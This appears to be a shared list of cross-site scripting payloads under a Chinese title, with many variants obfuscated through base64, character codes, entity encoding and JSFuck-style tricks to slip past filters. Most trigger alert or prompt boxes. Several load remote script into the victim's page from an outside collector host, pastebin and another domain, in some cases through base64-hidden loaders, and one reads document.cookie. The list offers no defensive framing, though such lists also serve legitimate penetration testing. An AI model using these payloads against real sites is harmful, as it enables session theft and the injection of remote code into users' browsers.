分享一些XSS Payload

<x/onmouSeenter=window[`\x61\x6c\x65\x72\x74`]`1337`

<script>

prompt(1)

</script>

<script>confirm(1)</script>

<script>var fn=window[490837..toString(1<<5)];     fn(atob('YWxlcnQoMSk='));</script>  

<script>var fn=window[String.fromCharCode(101,118,97,108)];     fn(atob('YWxlcnQoMSk='));</script>

<script>var fn=window[atob('ZXZhbA==')];fn(atob('YWxlcnQoMSk='));    </script>

<script>window[490837..toString(1<<5)](atob('YWxlcnQoMSk='))</script>     <script>this[490837..toString(1<<5)](atob('YWxlcnQoMSk='))</script>     <script>this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]](++[[]][+[]])</script>     <script>this[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]]((-~[]+[]))</script>

<script>'str1ng'.replace(/1/,alert)</script>     <script>'bbbalert(1)cccc'.replace(/a\w{4}\(\d\)/,eval)</script>     <script>'a1l2e3r4t6'.replace(/(.).(.).(.).(.).(.)/,function(match,$1,$2,$3,$4,$5) { this[$1+$2+$3+$4+$5](1); })</script>

<script>eval（'\\u'+'0061'+'lert(1)')</script>     <script>throw~delete~typeof~prompt(1)</script>     <script>delete[a=alert]/prompt a(1)</script>     <script>delete[a=this[atob('YWxlcnQ=')]]/prompt a(1)</script>     <script>(()=>{return this})().alert(1)</script>    

<script>new function(){new.target.constructor('alert(1)')();}</script>     <script>Reflect.construct(function(){new.target.constructor('alert(1)')()},[])</script>

<link/rel=prefetch import href=data:q;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg>

<link rel="import" href="data:x,<script>alert(1)</script>     <script>Array.from1${alert}3${window}2</script>    

<script>!{x(){alert(1)}}.x()</script>     <script>Array.from${eval}alert\1\``</script>     <script>Array.from([1],alert)</script>     <script>Promise.reject("1").then(null,alert)</script>    

<svg </onload ="1> (_=alert,_(1)) "">    

javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>  

<marquee loop=1 width=0 onfinish=alert(1)>

<p onbeforescriptexecute="alert(1)"><svg><script>\</p>    

<img onerror=alert(1) src <u></u>     <videogt;<source onerror=javascript:prompt(911)gt;    

<base target="<script>

alert(1)

</script>

">

<a href="javascript:name">

CLICK

</a>

<base href="javascript:/"><a href="**/alert(1)"><base href="javascript:/"><a href="**/alert(1)">    

<style>@KeyFrames x{</style><div style=animation-name:x onanimationstart=alert(1)> <    

<script>

${``[class extends[alert``]{}]}

</script>     <script>[class extends[alert``]{}]</script>    

<script>throw new class extends Function{}('alert(1)')``</script>     <script>x=new class extends Function{}('alert(1)'); x=new x;</script>     <script>new class extends alert(1){}</script>

<script>new class extends class extends class extends class extends alert(1){}{}{}{}</script>    

<script>new Image()[unescape('%6f%77%6e%65%72%44%6f%63%75%6d%65%6e%74')][atob('ZGVmYXVsdFZpZXc=')][8680439..toString(30)](1)</script>     <script src=data:,\u006fnerror=\u0061lert(1)></script>    

"><svg><script/xlink:href="data:,alert(1)     <svg><script/xlink:href=data:,alert(1)></script>     <frameset/onpageshow=alert(1)>    

<div onactivate=alert('Xss') id=xss style=overflow:scroll>    

<div onfocus=alert('xx') id=xss style=display:table>

"><script src=https://hackeroneofjaaah.xss.ht></script>

javascript:eval（'var a=document.createElement(\'script\');a.src=\'https://hackeroneofjaaah.xss.ht\';document.body.appendChild(a)')

"><input onfocus=eval（atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vaGFja2Vyb25lb2ZqYWFhaC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>

"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vaGFja2Vyb25lb2ZqYWFhaC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval（atob(this.id))>

"><iframe srcdoc="&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#118;&#97;&#114;&#32;&#97;&#61;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#114;&#101;&#97;&#116;&#101;&#69;&#108;&#101;&#109;&#101;&#110;&#116;&#40;&#34;&#115;&#99;&#114;&#105;&#112;&#116;&#34;&#41;&#59;&#97;&#46;&#115;&#114;&#99;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;hackeroneofjaaah.xss.ht&#34;&#59;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#97;&#112;&#112;&#101;&#110;&#100;&#67;&#104;&#105;&#108;&#100;&#40;&#97;&#41;&#59;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;">

<script>function b(){eval（this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//hackeroneofjaaah.xss.ht");a.send();</script>

<script>$.getScript("//hackeroneofjaaah.xss.ht")</script>

><object+data=//14.rs>

><script src=//pastebin.com/raw/WDWWYaLA></script>

<img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)>

</script><svg><script>alert(1)-%26apos%3B

anythinglr00</script><script>alert(document.domain)</script>uxldz

anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz

<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>

<svg onload\r\n=$.globalEval("al"+"ert()");>

?"></script><base%20c%3D=href%3Dhttps:\mysite>

<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>

<a href=javas&#99;ript:alert(1)>

<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">

<Video> <source onerror = "javascript: alert (XSS)">

<Input value = "XSS" type = text>

<applet code="javascript:confirm(document.cookie);">

<isindex x="javascript:" onmouseover="alert(XSS)">

"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

"><img src="x:x" onerror="alert(XSS)">

"><iframe src="javascript:alert(XSS)">

<object data="javascript:alert(XSS)">

<isindex type=image src=1 onerror=alert(XSS)>

<img src=x:alert(alt) onerror=eval（src) alt=0>

<img  src="x:gif" onerror="window['al\u0065rt'](0)"></img>

<iframe/src="data:text/html,<svg onload=alert(1)>">

<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>

<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script

<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">

<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>

<form><a href="javascript:\u0061lert(1)">X

</script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval（src)'>

<style>//*{x:expression(alert(/xss/))}//<style></style>